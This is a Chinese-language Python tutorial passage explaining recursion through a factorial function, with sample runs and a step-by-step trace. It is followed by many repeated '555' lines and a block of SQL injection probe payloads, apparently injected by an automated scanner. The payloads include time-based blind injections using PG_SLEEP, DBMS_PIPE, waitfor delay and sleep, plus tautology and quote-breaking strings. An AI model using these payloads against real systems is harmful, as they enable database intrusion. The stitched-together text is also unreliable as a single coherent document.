在python中,函数内部可以调用其他函数,也可以调用函数自身,这种函数内部调用自身的函数我们称为递归函数。 举个例子,阶乘(factorial)的计算:n! = 1*2*3*...*n
def factorial(n):
if n == 1:
return 1
return n * factorial(n-1)
factorial(n)就是一个递归函数,试试运行:
>>> factorial(1)
1
>>> factorial(5)
120
>>> factorial(10)
3628800
分析factorial(5)计算过程
===> factorial(5)
===> 5*factorial(4)
===> 5*4*factorial(3)
===> 5*4*3*factorial(2)
===> 5*4*3*2*factorial(1)
===> 5*4*3*2*1
===> 120
递归函数的优点是定义简单,逻辑清晰。理论上,所有的递归函数都可以写成循环的方式,但循环的逻辑不如递归清晰。
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@2Ce0L
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555xj5PBbRY')) OR 106=(SELECT 106 FROM PG_SLEEP(15))--
555dlETNkJO') OR 887=(SELECT 887 FROM PG_SLEEP(15))--
55508qLVWv3' OR 651=(SELECT 651 FROM PG_SLEEP(15))--
555-1)) OR 59=(SELECT 59 FROM PG_SLEEP(15))--
555-1) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
555-1 OR 499=(SELECT 499 FROM PG_SLEEP(15))--
555L4L5etEE'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "2TKcL6Ef"="
-1' OR 5*5=25 or 'bEOWIRGh'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555